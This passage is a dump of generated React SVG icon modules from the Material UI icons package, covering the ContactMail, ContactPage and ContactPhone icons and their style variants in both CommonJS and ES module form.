    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8V7l-3 2-3-2v1l3 2zm1-5H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm8-6h-8V6h8z\"\n}), 'ContactMail');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactMailOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2m0 16H2V5h20zM21 6h-7v5h7zm-1 2-2.5 1.75L15 8V7l2.5 1.75L20 7zM9 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.59c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V18h12zM5.48 16c.74-.5 2.22-1 3.52-1s2.77.49 3.52 1z\"\n}), 'ContactMailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactMailOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2m0 16H2V5h20zM21 6h-7v5h7zm-1 2-2.5 1.75L15 8V7l2.5 1.75L20 7zM9 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.59c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V18h12zM5.48 16c.74-.5 2.22-1 3.52-1s2.77.49 3.52 1z\"\n}), 'ContactMailOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactMailRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8V7l-3 2-3-2v1l2.72 1.82c.17.11.39.11.55 0zm1-5H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm7.5-6h-7c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5h7c.28 0 .5.22.5.5v5c0 .28-.22.5-.5.5\"\n}), 'ContactMailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactMailRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8V7l-3 2-3-2v1l2.72 1.82c.17.11.39.11.55 0zm1-5H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm7.5-6h-7c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5h7c.28 0 .5.22.5.5v5c0 .28-.22.5-.5.5\"\n}), 'ContactMailRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactMailSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8V7l-3 2-3-2v1l3 2zm3-5H0v18h23.99zM8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm8-6h-8V6h8z\"\n}), 'ContactMailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactMailSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8V7l-3 2-3-2v1l3 2zm3-5H0v18h23.99zM8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm8-6h-8V6h8z\"\n}), 'ContactMailSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactMailTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 19h20V5H2zM14 6h7v5h-7zM9 6c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M3 16.59C3 14.08 6.97 13 9 13s6 1.08 6 3.58V18H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2m0 16H2V5h20zM21 6h-7v5h7zm-1 2-2.5 1.75L15 8V7l2.5 1.75L20 7zM9 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.59c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V18h12zM5.48 16c.74-.5 2.22-1 3.52-1s2.77.49 3.52 1z\"\n}, \"1\")], 'ContactMailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactMailTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 19h20V5H2zM14 6h7v5h-7zM9 6c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M3 16.59C3 14.08 6.97 13 9 13s6 1.08 6 3.58V18H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2m0 16H2V5h20zM21 6h-7v5h7zm-1 2-2.5 1.75L15 8V7l2.5 1.75L20 7zM9 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.59c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V18h12zM5.48 16c.74-.5 2.22-1 3.52-1s2.77.49 3.52 1z\"\n}, \"1\")], 'ContactMailTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm-2 8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ContactPage');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm-2 8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ContactPage');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 4 18 8.83V20H6V4zM14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm-2 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 15.9 8 16.62 8 17.43V18h8z\"\n}), 'ContactPageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 4 18 8.83V20H6V4zM14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm-2 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 15.9 8 16.62 8 17.43V18h8z\"\n}), 'ContactPageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M12 10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ContactPageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41l-4.83-4.83c-.37-.38-.88-.59-1.41-.59M12 10c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ContactPageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm-2 8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ContactPageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm-2 8c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m4 8H8v-.57c0-.81.48-1.53 1.22-1.85.85-.37 1.79-.58 2.78-.58s1.93.21 2.78.58c.74.32 1.22 1.04 1.22 1.85z\"\n}), 'ContactPageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 4 18 8.83V20H6V4zM12 14c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 15.9 8 16.62 8 17.43V18h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.17 4 18 8.83V20H6V4zM14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm-2 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 15.9 8 16.62 8 17.43V18h8z\"\n}, \"1\")], 'ContactPageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 4 18 8.83V20H6V4zM12 14c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 15.9 8 16.62 8 17.43V18h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.17 4 18 8.83V20H6V4zM14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8zm-2 12c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2m4 3.43c0-.81-.48-1.53-1.22-1.85-.85-.37-1.79-.58-2.78-.58s-1.93.21-2.78.58C8.48 15.9 8 16.62 8 17.43V18h8z\"\n}, \"1\")], 'ContactPageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPhone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm3.85-4h1.64L21 16l-1.99 1.99c-1.31-.98-2.28-2.38-2.73-3.99-.18-.64-.28-1.31-.28-2s.1-1.36.28-2c.45-1.62 1.42-3.01 2.73-3.99L21 8l-1.51 2h-1.64c-.22.63-.35 1.3-.35 2s.13 1.37.35 2\"\n}), 'ContactPhone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPhone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm3.85-4h1.64L21 16l-1.99 1.99c-1.31-.98-2.28-2.38-2.73-3.99-.18-.64-.28-1.31-.28-2s.1-1.36.28-2c.45-1.62 1.42-3.01 2.73-3.99L21 8l-1.51 2h-1.64c-.22.63-.35 1.3-.35 2s.13 1.37.35 2\"\n}), 'ContactPhone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPhoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2m0 16H2V5h20zm-2.99-1.01L21 16l-1.51-2h-1.64c-.22-.63-.35-1.3-.35-2s.13-1.37.35-2h1.64L21 8l-1.99-1.99c-1.31.98-2.28 2.37-2.73 3.99-.18.64-.28 1.31-.28 2s.1 1.36.28 2c.45 1.61 1.42 3.01 2.73 3.99M9 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.59c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V18h12zM5.48 16c.74-.5 2.22-1 3.52-1s2.77.49 3.52 1z\"\n}), 'ContactPhoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPhoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2m0 16H2V5h20zm-2.99-1.01L21 16l-1.51-2h-1.64c-.22-.63-.35-1.3-.35-2s.13-1.37.35-2h1.64L21 8l-1.99-1.99c-1.31.98-2.28 2.37-2.73 3.99-.18.64-.28 1.31-.28 2s.1 1.36.28 2c.45 1.61 1.42 3.01 2.73 3.99M9 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.59c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V18h12zM5.48 16c.74-.5 2.22-1 3.52-1s2.77.49 3.52 1z\"\n}), 'ContactPhoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPhoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm3.85-4h1.39c.16 0 .3.07.4.2l1.1 1.45c.15.2.13.48-.05.65l-1.36 1.36c-.18.18-.48.2-.67.04a7.557 7.557 0 0 1-2.38-3.71c-.18-.63-.28-1.3-.28-1.99s.1-1.36.28-2c.41-1.47 1.25-2.75 2.38-3.71.2-.17.49-.14.67.04l1.36 1.36c.18.18.2.46.05.65l-1.1 1.45c-.09.13-.24.2-.4.2h-1.39c-.22.63-.35 1.3-.35 2s.13 1.38.35 2.01\"\n}), 'ContactPhoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPhoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm3.85-4h1.39c.16 0 .3.07.4.2l1.1 1.45c.15.2.13.48-.05.65l-1.36 1.36c-.18.18-.48.2-.67.04a7.557 7.557 0 0 1-2.38-3.71c-.18-.63-.28-1.3-.28-1.99s.1-1.36.28-2c.41-1.47 1.25-2.75 2.38-3.71.2-.17.49-.14.67.04l1.36 1.36c.18.18.2.46.05.65l-1.1 1.45c-.09.13-.24.2-.4.2h-1.39c-.22.63-.35 1.3-.35 2s.13 1.38.35 2.01\"\n}), 'ContactPhoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPhoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.99 3H0v18h24zM8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm3.85-4h1.64L21 16l-1.99 1.99c-1.31-.98-2.28-2.38-2.73-3.99-.18-.64-.28-1.31-.28-2s.1-1.36.28-2c.45-1.62 1.42-3.01 2.73-3.99L21 8l-1.51 2h-1.64c-.22.63-.35 1.3-.35 2s.13 1.37.35 2\"\n}), 'ContactPhoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPhoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.99 3H0v18h24zM8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm3.85-4h1.64L21 16l-1.99 1.99c-1.31-.98-2.28-2.38-2.73-3.99-.18-.64-.28-1.31-.28-2s.1-1.36.28-2c.45-1.62 1.42-3.01 2.73-3.99L21 8l-1.51 2h-1.64c-.22.63-.35 1.3-.35 2s.13 1.37.35 2\"\n}), 'ContactPhoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactPhoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5H2v14h20zM9 6c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3m6 12H3v-1.41C3 14.08 6.97 13 9 13s6 1.08 6 3.58zm2.85-4h1.64L21 16l-1.99 1.99c-1.31-.98-2.28-2.38-2.73-3.99-.18-.64-.28-1.31-.28-2s.1-1.36.28-2c.45-1.62 1.42-3.01 2.73-3.99L21 8l-1.51 2h-1.64c-.22.63-.35 1.3-.35 2s.13 1.37.35 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 21h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2M2 5h20v14H2zm17.49 5L21 8l-1.99-1.99c-1.31.98-2.28 2.37-2.73 3.99-.18.64-.28 1.31-.28 2s.1 1.36.28 2c.45 1.61 1.42 3.01 2.73 3.99L21 16l-1.51-2h-1.64c-.22-.63-.35-1.3-.35-2s.13-1.37.35-2zM9 12c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m0 5c-2.03 0-6 1.08-6 